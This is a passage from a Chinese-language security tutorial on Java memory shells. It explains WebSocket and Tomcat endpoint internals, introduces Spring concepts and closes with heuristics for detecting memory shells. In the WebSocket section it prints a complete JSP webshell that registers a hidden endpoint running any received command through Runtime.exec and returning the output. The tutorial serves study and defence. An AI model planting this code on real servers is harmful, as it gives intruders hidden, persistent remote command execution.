- 更好的二進制支持。Websocket定義了二進制幀,相對HTTP,可以更輕鬆地處理二進制內容。
- 支持擴展。Websocket定義了擴展,用戶可以擴展協議、實現部分自定義的子協議。
- 更好的壓縮效果。相對於HTTP壓縮,Websocket在適當的擴展支持下,可以沿用之前內容的上下文,在傳遞類似的數據時,可以顯著提高壓縮率。
接下來我們的討論就以Java WebSocket標準爲例。
0x3:Java WebSocket基本原理
1、Ws協議規範
WebSocket全雙工通信協議,在客戶端和服務端建立連接後,可以持續雙向通信,和HTTP同屬於應用層協議,並且都依賴於傳輸層的TCP/IP協議。
雖然WebSocket有別於HTTP,是一種新協議,但是RFC 6455中規定:
it is designed to work over HTTP ports 80 and 443 as well as to support HTTP proxies and intermediaries.
- WebSocket通過HTTP端口80和443進行工作,並支持HTTP代理和中介,從而使其與HTTP協議兼容。
- 爲了實現兼容性,WebSocket握手使用HTTP Upgrade頭從HTTP協議更改爲WebSocket協議。
- Websocket使用ws或wss的統一資源標誌符(URI),分別對應明文和加密連接。
在雙向通信之前,必須通過握手建立連接。Websocket通過 HTTP/1.1 協議的101狀態碼進行握手,首先客戶端(如瀏覽器)發出帶有特殊消息頭(Upgrade、Connection)的請求到服務器,服務器判斷是否支持升級,支持則返回響應狀態碼101,表示協議升級成功,對於WebSocket就是握手成功。
客戶端請求示例:
- Connection必須設置Upgrade,表示客戶端希望連接升級。
- Upgrade: websocket表明協議升級爲websocket。
- Sec-WebSocket-Key字段內記錄着握手過程中必不可少的鍵值,由客戶端(瀏覽器)生成,可以儘量避免普通HTTP請求被誤認爲Websocket協議。
- Sec-WebSocket-Version表示支持的Websocket版本。RFC6455要求使用的版本是13。
- Origin字段是必須的。如果缺少origin字段,WebSocket服務器需要回復HTTP 403 狀態碼(禁止訪問),通過Origin可以做安全校驗。
服務端請求示例:
- Sec-WebSocket-Accept的字段值是由握手請求中的Sec-WebSocket-Key的字段值生成的。成功握手確立WebSocket連接之後,通信時不再使用HTTP的數據幀,而採用WebSocket獨立的數據幀。
2、Ws服務端實現方式
Tomcat將WebSocket通信中的服務端抽象爲了Endpoint,並提供兩種方式來實現Endpoint:
- 註解方式:@ServeEndpoint
- 繼承抽象類方式:javax.websocket.Endpoint
這兩種方式都需要實現相應的生命週期。提供了4個標準的生命週期方法,當產生不同的事件時會被回調觸發:
- onOpen: 會話建立
- onClose: 會話關閉
- onError: 會話異常
- onMessage: 接收到消息
Tomcat在啓動時會默認通過 WsSci 內的 ServletContainerInitializer 初始化 Listener 和 servlet。然後再掃描 classpath下帶有 @ServerEndpoint註解的類進行 addEndpoint加入websocket服務。
所以即使 Tomcat 沒有掃描到 @ServerEndpoint註解的類,也會進行Listener和 servlet註冊,這就是爲什麼所有Tomcat啓動都能在memshell scanner內看到WsFilter。
1)註解方式實現Ws服務端
通過註解方式實現Endpoint,需要用@ServerEndpoint註解實現了Endpoint生命週期的類,並用生命週期相關的註解(@OnOpen、@OnClose、@OnError、@OnMessage)來註解對應的生命週期實現方法。通過註解的參數,爲當前Endpoint註冊URI路徑。
服務端代碼,WebSocketTest.java
package websocket; import java.io.IOException; import java.util.concurrent.CopyOnWriteArraySet; import javax.websocket.OnClose; import javax.websocket.OnError; import javax.websocket.OnMessage; import javax.websocket.OnOpen; import javax.websocket.Session; import javax.websocket.server.ServerEndpoint; /** * @ServerEndpoint 註解是一個類層次的註解,它的功能主要是將目前的類定義成一個websocket服務器端, * 註解的值將被用於監聽用戶連接的終端訪問URL地址,客戶端可以通過這個URL來連接到WebSocket服務器端 */ @ServerEndpoint("/websocket") public class WebSocketTest { //靜態變量,用來記錄當前在線連接數。應該把它設計成線程安全的。 private static int onlineCount = 0; //concurrent包的線程安全Set,用來存放每個客戶端對應的MyWebSocket對象。若要實現服務端與單一客戶端通信的話,可以使用Map來存放,其中Key可以爲用戶標識 private static CopyOnWriteArraySet<WebSocketTest> webSocketSet = new CopyOnWriteArraySet<WebSocketTest>(); //與某個客戶端的連接會話,需要通過它來給客戶端發送數據 private Session session; /** * 連接建立成功調用的方法 * @param session 可選的參數。session爲與某個客戶端的連接會話,需要通過它來給客戶端發送數據 */ @OnOpen public void onOpen(Session session){ this.session = session; webSocketSet.add(this); //加入set中 addOnlineCount(); //在線數加1 System.out.println("有新連接加入!當前在線人數爲" + getOnlineCount()); } /** * 連接關閉調用的方法 */ @OnClose public void onClose(){ webSocketSet.remove(this); //從set中刪除 subOnlineCount(); //在線數減1 System.out.println("有一連接關閉!當前在線人數爲" + getOnlineCount()); } /** * 收到客戶端消息後調用的方法 * @param message 客戶端發送過來的消息 * @param session 可選的參數 */ @OnMessage public void onMessage(String message, Session session) { System.out.println("來自客戶端的消息:" + message); //羣發消息 for(WebSocketTest item: webSocketSet){ try { item.sendMessage(message); } catch (Exception e) { e.printStackTrace(); continue; } } } /** * 發生錯誤時調用 * @param session * @param error */ @OnError public void onError(Session session, Throwable error){ System.out.println("發生錯誤"); error.printStackTrace(); } /** * 這個方法與上面幾個方法不一樣。沒有用註解,是根據自己需要添加的方法。 * @param message * @throws IOException */ public void sendMessage(String message) throws IOException{ this.session.getBasicRemote().sendText(message); //this.session.getAsyncRemote().sendText(message); } public static synchronized int getOnlineCount() { return onlineCount; } public static synchronized void addOnlineCount() { WebSocketTest.onlineCount++; } public static synchronized void subOnlineCount() { WebSocketTest.onlineCount--; } }
下面是客戶端的代碼 運用的是H5+JS
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>WebSocket的Client實現</title> </head> <body> Welcome<br/><input id="text" type="text"/> <button onclick="send()">發送消息</button> <hr/> <button onclick="closeWebSocket()">關閉WebSocket連接</button> <hr/> <div id="message"></div> </body> <script type="text/javascript"> var websocket = null; //判斷當前瀏覽器是否支持WebSocket url的地址爲本機ip地址+Tomcat端口號+項目名稱+註解服務器端 if ('WebSocket' in window) { websocket = new WebSocket("ws://127.0.0.1:8080/memshell/websocket"); } else { alert('當前瀏覽器 Not support websocket') } //連接發生錯誤的回調方法 websocket.onerror = function () { setMessageInnerHTML("WebSocket連接發生錯誤"); }; websocket.onclose = function (e) { console.log('websocket 斷開: ' + e.code + ' ' + e.reason + ' ' + e.wasClean) console.log(e) } //連接成功建立的回調方法 websocket.onopen = function () { setMessageInnerHTML("WebSocket連接成功"); } //接收到消息的回調方法 websocket.onmessage = function (event) { setMessageInnerHTML(event.data); } //連接關閉的回調方法 websocket.onclose = function () { setMessageInnerHTML("WebSocket連接關閉"); } //監聽窗口關閉事件,當窗口關閉時,主動去關閉websocket連接,防止連接還沒斷開就關閉窗口,server端會拋異常。 window.onbeforeunload = function () { closeWebSocket(); } //將消息顯示在網頁上 function setMessageInnerHTML(innerHTML) { document.getElementById('message').innerHTML += innerHTML + '<br/>'; } //關閉WebSocket連接 function closeWebSocket() { websocket.close(); } //發送消息 function send() { var message = document.getElementById('text').value; websocket.send(message); } </script> </html>
訪問鏈接:http://localhost:8080/memshell/websocket_client.jsp
然後就可因進行互發消息了在控制檯可以進行觀察接入動態。
2)繼承抽象類Endpoint方式實現Ws服務端
通過繼承抽象類方式實現Endpoint稍微複雜一些,需要實現三個類:
- Endpoint實現類:主要實現3個標準生命週期方法(onOpen、onError、onClose),添加MessageHandler對象
- MessageHandler實現類:實現onMessage方法
- ServerApplicationConfig實現類:完成Endpoint的URI路徑註冊
@ServerEndpoint
的話都是使用默認的。
3、WebSocket在Tomcat中的源碼實現
Tomcat的WebSocket加載是通過SCI機制完成的。
Tomcat在啓動時會對classpath下的Jar包進行掃描,掃描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件。
對於Tomcat WebSocket來說,下圖是tomcat-websocket.jar的ServletCotainerInitializer文件。
tomcat會加載文件中的類,org.apache.tomcat.websocket.server.WsSci,該類是ServletContainerInitializer接口的實現類。
然後該類的@HandleTypes註解的值會指定的一系列類、接口、註解。Tomcat會獲取指定類、接口、註解的實現類,並在調用WsSci#onStartup時作爲參數傳入。
ServerEndpoint、ServerApplicationConfig、Endpoint的實現類,以參數傳入WsSci#onStartup。
- ServerApplicationConfig的實現類,實例化後存入serverApplicationConfigs變量。
- Endpoint的實現類,存入scannedEndpointClazzes變量。
- ServerEndpoint註解的類,存入scannedPojoEndpoints變量。
變量存儲情況如下,通過註解方式實現的WebSocketServer類存入了scannedPojoEndpoints,通過繼承抽象類方式實現的WebSocketServer2類存入了scannedEndpointClazzes。
另外,scannedEndpointClazzes中還存入了PojoEndpointClient和PojoEndpointServer兩個類。接着會根據serverApplicationConfigs、scannedEndpointClazzes、scannedPojoEndpoints三個變量的值,來構建兩個變量:
- filteredEndpointConfigs:如果有ServerApplicationConfig對象,則遍歷所有對象並完成如下操作:調用其getEndpointConfigs方法獲取ServerEndpointConfig的集合,加入到filteredEndpointConfigs中。因此filteredEndpointConfigs存儲的是通過ServerApplicationConfig對象獲取的ServerEndpointConfig對象的集合。
- filteredPojoEndpoints:利用同樣的ServerApplicationConfig對象,調用其getAnnotatedEndpointClasses方法獲取Class對象的集合,也是被ServerEndpoint註解的類的集合。因此filteredPojoEndpoints存儲的是@ServerEndpoint註解的類的集合。
接着就是根據兩個變量向WsServerContainer添加Endpoint,完成Endpoint的部署。
完成Ws的添加後,接下來繼續跟蹤Ws Endpoint的執行。
在WsSci#onStartup中,會進行WsServerContainer的創建和初始化,在創建過程中會通過ServletContext#addFilter調用ApplicationContextFacade#addFilter添加過濾器WsFilter。
之後所有的請求都會經過WsFilter。之後接收到請求之後,如果註冊有Endpoint,且請求是WebSocket的協議升級請求,進行規則匹配及升級。
爲了匹配規則,會通過WsServerContainer#findMapping獲取URI路徑對應的WsMappingResult對象,並進行協議升級。
0x4:Java Ws內存馬原理
根據Endpoint的加載原理,要想動態添加一個Endpoint,就需要獲取WsServerContainer,並通過addEndpoint向其中添加ServerEndpointConfig。
在WsSci#init中,完成了對WsServerContainer的實例化,並且通過ServletContext#setAttribute對WsServerContainer進行存儲。因此就可以通過ServletContext來獲取WsServerContainer。
最終WebSocket內存馬實現步驟如下:
- 實現Endpoint,MessageHandler.onMessage中實現木馬通訊功能
- 爲Endpoint創建ServerEndpointConfig
- 依次獲取ServletConext和WsServerContainer
- 通過WsServerContainer.addEndpoint添加ServerEndpointConfig
<%@ page import="javax.websocket.server.ServerEndpointConfig" %> <%@ page import="javax.websocket.server.ServerContainer" %> <%@ page import="javax.websocket.*" %> <%@ page import="java.io.*" %> <%! public static class C extends Endpoint implements MessageHandler.Whole<String> { private Session session; @Override public void onMessage(String s) throws IOException { try { Process process; process = Runtime.getRuntime().exec(s); InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); int i; while ((i = inputStream.read()) != -1) stringBuilder.append((char)i); inputStream.close(); process.waitFor(); session.getBasicRemote().sendText(stringBuilder.toString()); } catch (Exception exception) { exception.printStackTrace(); } } @Override public void onOpen(final Session session, EndpointConfig config) { this.session = session; session.addMessageHandler(this); } } %> <% String path = request.getParameter("path"); ServletContext servletContext = request.getSession().getServletContext(); ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build(); ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); try { if (servletContext.getAttribute(path) == null){ container.addEndpoint(configEndpoint); servletContext.setAttribute(path,path); } out.println("success, connect url path: " + servletContext.getContextPath() + path); } catch (Exception e) { out.println(e.toString()); } %>
訪問鏈接:http://localhost:8080/memshell/ws_memshell.jsp?path=/ws_memshell
之後可以使用ws client和ws內存馬進行交互。
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>WebSocket的Client實現</title> </head> <body> Welcome<br/><input id="text" type="text"/> <button onclick="send()">發送消息</button> <hr/> <button onclick="closeWebSocket()">關閉WebSocket連接</button> <hr/> <div id="message"></div> </body> <script type="text/javascript"> var websocket = null; //判斷當前瀏覽器是否支持WebSocket url的地址爲本機ip地址+Tomcat端口號+項目名稱+註解服務器端 if ('WebSocket' in window) { websocket = new WebSocket("ws://127.0.0.1:8080/memshell/ws_memshell"); } else { alert('當前瀏覽器 Not support websocket') } //連接發生錯誤的回調方法 websocket.onerror = function () { setMessageInnerHTML("WebSocket連接發生錯誤"); }; websocket.onclose = function (e) { console.log('websocket 斷開: ' + e.code + ' ' + e.reason + ' ' + e.wasClean) console.log(e) } //連接成功建立的回調方法 websocket.onopen = function () { setMessageInnerHTML("WebSocket連接成功"); } //接收到消息的回調方法 websocket.onmessage = function (event) { setMessageInnerHTML(event.data); } //連接關閉的回調方法 websocket.onclose = function () { setMessageInnerHTML("WebSocket連接關閉"); } //監聽窗口關閉事件,當窗口關閉時,主動去關閉websocket連接,防止連接還沒斷開就關閉窗口,server端會拋異常。 window.onbeforeunload = function () { closeWebSocket(); } //將消息顯示在網頁上 function setMessageInnerHTML(innerHTML) { document.getElementById('message').innerHTML += innerHTML + '<br/>'; } //關閉WebSocket連接 function closeWebSocket() { websocket.close(); } //發送消息 function send() { var message = document.getElementById('text').value; websocket.send(message); } </script> </html>
訪問鏈接:http://localhost:8080/memshell/websocket_client.jsp
參考鏈接:
https://blog.csdn.net/Dawns_1106/article/details/118368263 https://blog.csdn.net/weixin_36586120/article/details/120025498 https://www.anquanke.com/post/id/280529 https://github.com/veo/wsMemShell/blob/main/Tomcat_Spring_Jetty/wscmd.jsp https://github.com/veo/wsMemShell/ https://xz.aliyun.com/t/11566
七、Spring Interceptor 攔截器內存馬
0x1:什麼是Spring
Spring是一個支持快速開發Java EE應用程序的框架。它提供了一系列底層容器和基礎設施,並可以和大量常用的開源框架無縫集成。
Spring最早是由Rod Johnson這哥們在他的《Expert One-on-One J2EE Development without EJB》一書中提出的用來取代EJB的輕量級框架。隨後這哥們又開始專心開發這個基礎框架,並起名爲Spring Framework。
隨着Spring越來越受歡迎,在Spring Framework基礎上,又誕生了
- Spring Boot
- Spring Cloud
- Spring Data
- Spring Security
等一系列基於Spring Framework的項目。
這裏我們簡單介紹一些Spring的一些核心概念。
1、IOC容器
什麼是容器?容器是一種爲某種特定組件的運行提供必要支持的一個軟件環境。例如,Tomcat就是一個Servlet容器,它可以爲Servlet的運行提供運行環境。類似Docker這樣的軟件也是一個容器,它提供了必要的Linux環境以便運行一個特定的Linux進程。
通常來說,使用容器運行組件,除了提供一個組件運行環境之外,容器還提供了許多底層服務。例如,Servlet容器底層實現了TCP連接,解析HTTP協議等非常複雜的服務,如果沒有容器來提供這些服務,我們就無法編寫像Servlet這樣代碼簡單,功能強大的組件。早期的JavaEE服務器提供的EJB容器最重要的功能就是通過聲明式事務服務,使得EJB組件的開發人員不必自己編寫冗長的事務處理代碼,所以極大地簡化了事務處理。
Spring的核心就是提供了一個IoC容器,它可以管理所有輕量級的JavaBean組件,提供的底層服務包括組件的生命週期管理、配置和組裝服務、AOP支持,以及建立在AOP基礎上的聲明式事務服務等。
2、AOP
AOP是Aspect Oriented Programming,即面向切面編程。
與這個概念相對的是OOP,即Object Oriented Programming,OOP作爲面向對象編程的模式,獲得了巨大的成功,OOP的主要功能是數據封裝、繼承和多態。
而AOP是一種新的編程方式,它和OOP不同,OOP把系統看作多個對象的交互,AOP把系統分解爲不同的關注點,或者稱之爲切面(Aspect)。
- createBook:添加新的Book
- updateBook:修改Book
- deleteBook:刪除Book
對每個業務方法,例如,createBook(),除了業務邏輯,還需要安全檢查、日誌記錄和事務處理,它的代碼像這樣:
public class BookService { public void createBook(Book book) { securityCheck(); Transaction tx = startTransaction(); try { // 核心業務邏輯 tx.commit(); } catch (RuntimeException e) { tx.rollback(); throw e; } log("created book: " + book); } }
繼續編寫updateBook(),代碼如下:
public class BookService { public void updateBook(Book book) { securityCheck(); Transaction tx = startTransaction(); try { // 核心業務邏輯 tx.commit(); } catch (RuntimeException e) { tx.rollback(); throw e; } log("updated book: " + book); } }
對於安全檢查、日誌、事務等代碼,它們會重複出現在每個業務方法中。使用OOP,我們很難將這些四處分散的代碼模塊化。
可以發現,BookService關心的是自身的核心邏輯,但整個系統還要求關注安全檢查、日誌、事務等功能,這些功能實際上“橫跨”多個業務方法,爲了實現這些功能,不得不在每個業務方法上重複編寫代碼。
一種可行的方式是使用Proxy模式,將某個功能,例如,權限檢查,放入Proxy中:
public class SecurityCheckBookService implements BookService { private final BookService target; public SecurityCheckBookService(BookService target) { this.target = target; } public void createBook(Book book) { securityCheck(); target.createBook(book); } public void updateBook(Book book) { securityCheck(); target.updateBook(book); } public void deleteBook(Book book) { securityCheck(); target.deleteBook(book); } private void securityCheck() { ... } }
這種方式的缺點是比較麻煩,必須先抽取接口,然後,針對每個方法實現Proxy。
另一種方法是,既然SecurityCheckBookService的代碼都是標準的Proxy樣板代碼,不如把權限檢查視作一種切面(Aspect),把日誌、事務也視爲切面,然後,以某種自動化的方式,把切面織入到核心邏輯中,實現Proxy模式。
如果我們以AOP的視角來編寫上述業務,可以依次實現:
- 核心邏輯,即BookService
- 切面邏輯,即
- 權限檢查的Aspect
- 日誌的Aspect
- 事務的Aspect
然後,以某種方式,讓框架來把上述3個Aspect以Proxy的方式“織入”到BookService中,這樣一來,就不必編寫複雜而冗長的Proxy模式。
如何把切面織入到核心邏輯中?這正是AOP需要解決的問題。換句話說,如果客戶端獲得了BookService的引用,當調用bookService.createBook()時,如何對調用方法進行攔截,並在攔截前後進行安全檢查、日誌、事務等處理,就相當於完成了所有業務功能。
在Java平臺上,對於AOP的織入,有3種方式:
- 編譯期:在編譯時,由編譯器把切面調用編譯進字節碼,這種方式需要定義新的關鍵字並擴展編譯器,AspectJ就擴展了Java編譯器,使用關鍵字aspect來實現植入
- 類加載器:在目標類被裝載到JVM時,通過一個特殊的類加載器,對目標類的字節碼重新“增強”
- 運行期:目標對象和切面都是普通Java類,通過JVM的動態代理功能或者第三方庫實現運行期動態植入
最簡單的方式是第三種,Spring的AOP實現就是基於JVM的動態代理。由於JVM的動態代理要求必須實現接口,如果一個普通類沒有業務接口,就需要通過CGLIB或者Javassist這些第三方庫實現。
AOP技術看上去比較神祕,但實際上,它本質就是一個動態代理,讓我們把一些常用功能如權限檢查、日誌、事務等,從每個業務方法中剝離出來。
需要特別指出的是,AOP對於解決特定問題,例如事務管理非常有用,這是因爲分散在各處的事務代碼幾乎是完全相同的,並且它們需要的參數(JDBC的Connection)也是固定的。另一些特定問題,如日誌,就不那麼容易實現,因爲日誌雖然簡單,但打印日誌的時候,經常需要捕獲局部變量,如果使用AOP實現日誌,我們只能輸出固定格式的日誌,因此,使用AOP時,必須適合特定的場景。
3、Spring Web應用開發
我們知道,Servlet是Java EE Web開發的基礎,具體地說,有以下幾點:
- Servlet規範定義了幾種標準組件:Servlet、JSP、Filter和Listener
- Servlet的標準組件總是運行在Servlet容器中,如Tomcat、Jetty、WebLogic等
直接使用Servlet進行Web開發好比直接在JDBC上操作數據庫,比較繁瑣,更好的方法是在Servlet基礎上封裝MVC框架,基於MVC開發Web應用,大部分時候,不需要接觸Servlet API,開發省時省力。
因此,開發Web應用,首先要選擇一個優秀的MVC框架。常用的MVC框架有:
- Struts:最古老的一個MVC框架,目前版本是2,和1.x有很大的區別
- WebWork:一個比Struts設計更優秀的MVC框架,但不知道出於什麼原因,從2.0開始把自己的代碼全部塞給Struts 2了
- Turbine:一個重度使用Velocity,強調佈局的MVC框架
Spring理論上可以集成任何Web框架,但是,Spring本身也開發了一個MVC框架,就叫Spring MVC。這個MVC框架設計得足夠優秀以至於我們已經不想再費勁去集成類似Struts這樣的框架了。
下面我們用Idea創建一個spring web應用。
Idea-->File-->New-->Project,
創建web項目,勾選Web需要的依賴,
創建完畢後IDEA會自動化的,利用Maven功能下載需要的jar包。項目結構如下:
寫一個測試頁面,測試一下,Hello World頁面。
0x2:Springboot攔截器原理
參考鏈接:
https://blog.csdn.net/qq_36223406/article/details/120850022 https://www.liaoxuefeng.com/wiki/1252599548343744/1282383921807393 https://blog.csdn.net/qq_43369986/article/details/116746868 https://www.cnblogs.com/zpchcbd/p/15545773.html https://xz.aliyun.com/t/11039
八、JavaAgent型內存馬
參考鏈接:
https://www.freebuf.com/articles/web/172753.html https://www.cnblogs.com/xyylll/p/15473386.html https://www.cnblogs.com/LittleHann/p/17462796.html https://xz.aliyun.com/t/11640
內存馬檢測與排查
源碼檢測 - 攻防上限最高的方式
在java中,只有被JVM加載後的類才能被調用,或者在需要時通過反射通知JVM加載。所以特徵都在內存中,表現形式爲被加載的class。需要通過某種方法獲取到JVM的運行時內存中已加載的類,Java本身提供了Instrumentation類來實現運行時注入代碼並執行,因此產生一個檢測思路:
注入jar包 -> dump已加載class字節碼 -> 反編譯成java代碼 -> 源碼webshell檢測
這樣檢測比較消耗性能,我們可以縮小需要進行源碼檢測的類的範圍,通過如下的篩選條件組合使用篩選類進行檢測:
- ① 新增的或修改的
- ② 沒有對應class文件的,常見於通過反序列化漏洞從外部傳入的內存馬
- ③ xml配置中沒註冊的,常見於通過反序列化漏洞從外部傳入的內存馬
- ④ 冰蠍等常見工具使用的,有特性調用棧特徵的
- ⑤ filterchain中排第一的filter類
還有一些比較弱的特徵可以用來輔助檢測,比如:
- 類名稱中包含shell或者爲隨機名
- 使用不常見的classloader加載的類等等
參考鏈接:
https://www.freebuf.com/articles/web/274466.html